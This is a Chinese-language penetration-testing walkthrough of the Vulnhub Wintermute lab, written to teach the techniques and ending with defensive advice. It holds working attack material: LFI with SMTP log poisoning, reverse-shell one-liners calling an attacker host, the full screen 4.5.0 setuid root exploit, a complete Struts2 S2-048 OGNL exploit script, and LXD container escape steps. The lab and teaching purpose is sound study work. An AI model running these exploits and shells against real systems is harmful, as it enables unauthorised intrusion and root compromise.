[Vulnhub]Wintermute LFI+SMTP+Screen+Structv2-RCE+Lxc逃逸
字数 1317 2025-08-19 12:41:24

Wintermute靶机渗透测试教学文档

靶机概述

Wintermute靶机包含两个系统:

  1. 192.168.8.103 (straylight) - 初始目标
  2. 192.168.28.4 (neuromancer) - 横向移动目标

第一阶段:信息收集

初始扫描

nmap 192.168.8.103 --min-rate 1000 -sC -sV

扫描结果:

  • 25/tcp - SMTP (Postfix)
  • 80/tcp - HTTP (Apache 2.4.25)
  • 3000/tcp - ntopng服务

ntopng服务

  • 默认凭证:admin/admin
  • 发现80端口存在/turing-bolo目录

第二阶段:漏洞利用

1. LFI漏洞利用

在/turing-bolo目录发现bolo.php存在本地文件包含漏洞:

http://192.168.8.103//turing-bolo/bolo.php?bolo=molly.log

通过删除.log后缀可触发漏洞:

http://192.168.8.103//turing-bolo/bolo.php?bolo=molly

利用SMTP日志文件进行LFI:

http://192.168.8.103//turing-bolo/bolo.php?bolo=/var/log/mail

2. 通过SMTP日志注入获取RCE

步骤:

  1. 连接SMTP服务:
nc -nC 192.168.8.103 25
  1. 注入PHP代码到日志中

  2. 通过LFI执行代码获取反向shell:

http://192.168.8.103//turing-bolo/bolo.php?cmd=php%20-r%20%27%24sock%3Dfsockopen%28%22192.168.8.107%22%2C10032%29%3Bexec%28%22%2Fbin%2Fbash%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27&bolo=/var/log/mail

监听端口:

nc -lvnp 10032

3. 权限提升(Screen 4.5.0漏洞)

查找SUID文件:

find / -perm -u=s -type f 2>/dev/null

发现screen存在漏洞,使用以下脚本提权:

#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.

echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."

cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF

gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c

cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF

gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c

echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell

执行步骤:

cd /tmp
wget http://192.168.8.107/root.sh
chmod +x root.sh
./root.sh

第三阶段:横向移动

1. 发现内网主机

在192.168.8.103上发现note.txt,提到:

  • 存在192.168.28.4主机
  • 部署了struts2_2.3.15.1-showcase应用

2. 建立隧道

使用chisel建立SOCKS5隧道:

服务端(Kali):

./chisel server -p 2333 --socks5

客户端(靶机):

./chisel client 192.168.8.103:2333 socks

配置proxychains:

proxychains -f ./internal.conf

3. 扫描内网主机

proxychains -f ./internal.conf nmap 192.168.28.4 --min-rate 1000 -Pn
proxychains -f ./internal.conf nmap -p 8009,8080 192.168.28.4 -Pn -sC -sV

发现8080端口运行Tomcat和Struts2应用

4. Struts2 S2-048漏洞利用

使用以下Python脚本进行利用:

#!/usr/bin/python
# -*- coding: utf-8 -*-
# Just a demo for CVE-2017-9791

import requests

def exploit(url, cmd):
    print("[+] command: %s" % cmd)
    payload = "%{"
    payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
    payload += "(#_memberAccess?(#_memberAccess=#dm):"
    payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
    payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
    payload += "(#ognlUtil.getExcludedPackageNames().clear())."
    payload += "(#ognlUtil.getExcludedClasses().clear())."
    payload += "(#context.setMemberAccess(#dm))))."
    payload += "(@java.lang.Runtime@getRuntime().exec('%s'))" % cmd
    payload += "}"
    
    data = {
        "name": payload,
        "age": 20,
        "__checkbox_bustedBefore": "true",
        "description": 1
    }
    
    headers = {
        'Referer': 'http://127.0.0.1:8080/2.3.15.1-showcase/integration/editGangster'
    }
    
    requests.post(url, data=data, headers=headers)

if __name__ == '__main__':
    import sys
    if len(sys.argv) != 3:
        print("python %s <url> <cmd>" % sys.argv[0])
        sys.exit(0)
    
    print('[*] exploit Apache Struts2 S2-048')
    url = sys.argv[1]
    cmd = sys.argv[2]
    exploit(url, cmd)

执行步骤:

  1. 在Kali上设置socat端口转发:
socat TCP-LISTEN:10034,fork,reuseaddr TCP:192.168.8.107:10034 &
  1. 准备反弹shell脚本(re.sh):
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.28.3 10034 >/tmp/f
  1. 在Kali上启动HTTP服务:
python3 -m http.server 10034
  1. 分步执行攻击:
proxychains -f internal.conf python3 exp.py http://192.168.28.4:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "wget http://192.168.28.3:10034/re.sh -O /tmp/re.sh"

proxychains -f internal.conf python3 exp.py http://192.168.28.4:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "chmod +x /tmp/re.sh"

proxychains -f internal.conf python3 exp.py http://192.168.28.4:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "sh /tmp/re.sh"
  1. 监听端口:
nc -lvnp 10034

第四阶段:权限提升(LXC逃逸)

1. 建立SSH连接

发现ta用户可以写入/home目录:

for dir in /home/*/; do touch "$dir/1.txt"; done

生成SSH密钥:

ssh-keygen
cat /home/ta/.ssh/id_rsa.pub > authorized_keys

从Kali连接:

proxychains -f internal.conf ssh -i id_rsa ta@192.168.28.4 -p 34483

2. LXD提权

发现ta用户在lxd组,使用以下步骤提权:

  1. 在Kali上构建Alpine镜像:
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
sudo ./build-alpine
  1. 设置文件传输:
socat TCP-LISTEN:10035,fork,reuseaddr TCP:192.168.8.107:10035 &
python3 -m http.server 10035
  1. 在靶机上下载并导入镜像:
wget http://192.168.28.3:10035/alpine-v3.20-x86_64-20240613_1112.tar.gz -O /tmp/alpine.tar.gz
lxc image import /tmp/alpine.tar.gz --alias test
  1. 创建特权容器:
lxc init test ignite -c security.privileged=true
lxc config device add ignite test disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
  1. 现在可以访问宿主机的完整文件系统在/mnt/root下

关键知识点总结

  1. LFI漏洞利用

    • 通过文件包含读取系统日志
    • 利用服务日志注入恶意代码
  2. Screen提权

    • 利用ld.so.preload机制
    • 通过SUID二进制文件获取root权限
  3. 横向移动技术

    • 使用chisel建立隧道
    • 通过proxychains进行内网扫描
  4. Struts2漏洞利用

    • S2-048远程代码执行
    • 通过OGNL表达式注入
  5. LXC容器逃逸

    • 利用lxd组权限
    • 创建特权容器挂载宿主机文件系统
  6. 稳定访问技术

    • SSH密钥部署
    • 通过socat建立稳定通道

防御建议

  1. 及时更新易受攻击的软件版本
  2. 限制日志文件的写入权限
  3. 避免使用默认凭证
  4. 限制SUID二进制文件
  5. 实施网络隔离,防止横向移动
  6. 定期审计用户组权限,特别是lxd/docker组
  7. 对Web应用输入进行严格过滤
Wintermute靶机渗透测试教学文档 靶机概述 Wintermute靶机包含两个系统: 192.168.8.103 (straylight) - 初始目标 192.168.28.4 (neuromancer) - 横向移动目标 第一阶段:信息收集 初始扫描 扫描结果: 25/tcp - SMTP (Postfix) 80/tcp - HTTP (Apache 2.4.25) 3000/tcp - ntopng服务 ntopng服务 默认凭证:admin/admin 发现80端口存在/turing-bolo目录 第二阶段:漏洞利用 1. LFI漏洞利用 在/turing-bolo目录发现bolo.php存在本地文件包含漏洞: 通过删除.log后缀可触发漏洞: 利用SMTP日志文件进行LFI: 2. 通过SMTP日志注入获取RCE 步骤: 连接SMTP服务: 注入PHP代码到日志中 通过LFI执行代码获取反向shell: 监听端口: 3. 权限提升(Screen 4.5.0漏洞) 查找SUID文件: 发现screen存在漏洞,使用以下脚本提权: 执行步骤: 第三阶段:横向移动 1. 发现内网主机 在192.168.8.103上发现note.txt,提到: 存在192.168.28.4主机 部署了struts2_ 2.3.15.1-showcase应用 2. 建立隧道 使用chisel建立SOCKS5隧道: 服务端(Kali): 客户端(靶机): 配置proxychains: 3. 扫描内网主机 发现8080端口运行Tomcat和Struts2应用 4. Struts2 S2-048漏洞利用 使用以下Python脚本进行利用: 执行步骤: 在Kali上设置socat端口转发: 准备反弹shell脚本(re.sh): 在Kali上启动HTTP服务: 分步执行攻击: 监听端口: 第四阶段:权限提升(LXC逃逸) 1. 建立SSH连接 发现ta用户可以写入/home目录: 生成SSH密钥: 从Kali连接: 2. LXD提权 发现ta用户在lxd组,使用以下步骤提权: 在Kali上构建Alpine镜像: 设置文件传输: 在靶机上下载并导入镜像: 创建特权容器: 现在可以访问宿主机的完整文件系统在/mnt/root下 关键知识点总结 LFI漏洞利用 : 通过文件包含读取系统日志 利用服务日志注入恶意代码 Screen提权 : 利用ld.so.preload机制 通过SUID二进制文件获取root权限 横向移动技术 : 使用chisel建立隧道 通过proxychains进行内网扫描 Struts2漏洞利用 : S2-048远程代码执行 通过OGNL表达式注入 LXC容器逃逸 : 利用lxd组权限 创建特权容器挂载宿主机文件系统 稳定访问技术 : SSH密钥部署 通过socat建立稳定通道 防御建议 及时更新易受攻击的软件版本 限制日志文件的写入权限 避免使用默认凭证 限制SUID二进制文件 实施网络隔离,防止横向移动 定期审计用户组权限,特别是lxd/docker组 对Web应用输入进行严格过滤